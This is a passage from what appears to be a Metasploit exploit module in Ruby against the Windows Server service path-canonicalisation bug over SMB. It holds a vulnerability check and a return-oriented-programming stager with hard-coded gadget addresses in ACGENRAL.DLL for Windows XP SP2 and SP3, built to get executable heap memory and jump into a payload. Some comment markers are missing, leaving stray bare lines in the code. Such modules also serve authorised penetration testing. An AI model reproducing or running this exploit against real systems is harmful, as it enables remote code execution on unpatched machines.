"\x00" * 2

server = Rex::Text.rand_text_alpha(rand(8) + 1).upcase

handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0',
'ncacn_np', ["\#{datastore['SMBPIPE']}"]
)

begin
# Samba doesn't have this handle and returns an ErrorCode
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
vprint_error("SMB error: #{e.message}")
return Msf::Exploit::CheckCode::Safe
end

vprint_status('Verifying vulnerable status... (path: 0x%08x)' % path.length)

stub =
NDR.uwstring(server) +
NDR.UnicodeConformantVaryingStringPreBuilt(path) +
NDR.long(8) +
NDR.wstring(prefix) +
NDR.long(4097) +
NDR.long(0)

resp = dcerpc.call(0x1f, stub)
error = resp[4, 4].unpack('V')[0]

Cleanup

simple.client.close
simple.client.tree_disconnect
disconnect

if (error == 0x0052005c) # \R 😃
return Msf::Exploit::CheckCode::Vulnerable
else
vprint_error('System is not vulnerable (status: 0x%08x)' % error) if error
return Msf::Exploit::CheckCode::Safe
end
end

def generate_rop(version)
free_byte = "\x90"
# free_byte = "\xcc"

create a few small gadgets

; pop edx; pop ecx; ret

gadget1 = free_byte + "\x5a\x59\xc3"
# mov edi, eax; add edi,0xc; push 0x40; pop ecx; rep movsd
gadget2 = free_byte + "\x89\xc7" + "\x83\xc7\x0c" + "\x6a\x7f" + "\x59" + "\xf2\xa5" + free_byte
# <must complete \x00 two byte opcode>; <free_byte>; jmp $+0x5c
gadget3 = "\xcc" + free_byte + "\xeb\x5a"

gadget2:

get eax into edi

adjust edi

get 0x7f in ecx

copy the data

jmp to it

dws = gadget2.unpack('V*')

Create the ROP stager, pfew.. Props to corelanc0d3r!

This was no easy task due to space limitations 😕

-jduck

module_name = 'ACGENRAL.DLL'
module_base = 0x6f880000

rvasets = {}
# XP SP2
rvasets['5.1.2600.2180'] = {
# call [imp_HeapCreate] / mov [0x6f8b8024], eax / ret
'call_HeapCreate' => 0x21064,
'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e546,
'pop ecx / ret' => 0x2e546 + 6,
'mov [eax], ecx / ret' => 0xd182,
'jmp eax' => 0x19b85,
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10976,
'mov [eax+0x10], ecx / ret' => 0x10976 + 6,
'add eax, 8 / ret' => 0x29a14
}

XP SP3

rvasets['5.1.2600.5512'] = {
# call [imp_HeapCreate] / mov [0x6f8b02c], eax / ret
'call_HeapCreate' => 0x21286,
'add eax, ebp / mov ecx, 0x59ffffa8 / ret' => 0x2e796,
'pop ecx / ret' => 0x2e796 + 6,
'mov [eax], ecx / ret' => 0xd296,
'jmp eax' => 0x19c6f,
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret' => 0x10a56,
'mov [eax+0x10], ecx / ret' => 0x10a56 + 6,
'add eax, 8 / ret' => 0x29c64
}

HeapCreate ROP Stager from ACGENRAL.DLL 5.1.2600.2180

rop = [
# prime ebp (adjustment distance)
0x00018000,

get some RWX memory via HeapCreate

'call_HeapCreate',
0x01040110, # flOptions (gets & with 0x40005)
0x01010101,
0x01010101,

adjust the returned pointer

'add eax, ebp / mov ecx, 0x59ffffa8 / ret',

setup gadget1

'pop ecx / ret',
gadget1.unpack('V').first,
'mov [eax], ecx / ret',

execute gadget1

'jmp eax',

setup gadget2 (via gadget1)

dws[0],
dws[1],
'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret',

setup part3 of gadget2

'pop ecx / ret',
dws[2],
'mov [eax+0x10], ecx / ret',

execute gadget2

'add eax, 8 / ret',
'jmp eax',

gadget3 gets executed after gadget2 (luckily)

gadget3.unpack('V').first
]

convert the meta rop into concrete bytes

rvas = rvasets[version]

rop.map! { |e|
if e.kind_of? String
# Meta-replace (RVA)
fail_with(Failure::BadConfig, "Unable to locate key: "#{e}"") unless rvas[e]
module_base + rvas[e]

elsif e == :unused
# Randomize
rand_text(4).unpack('V').first

else
# Literal
e
end
}

ret = rop.pack('V*')

check badchars?

idx = Rex::Text.badchar_index(ret, payload_badchars)

ret
end
end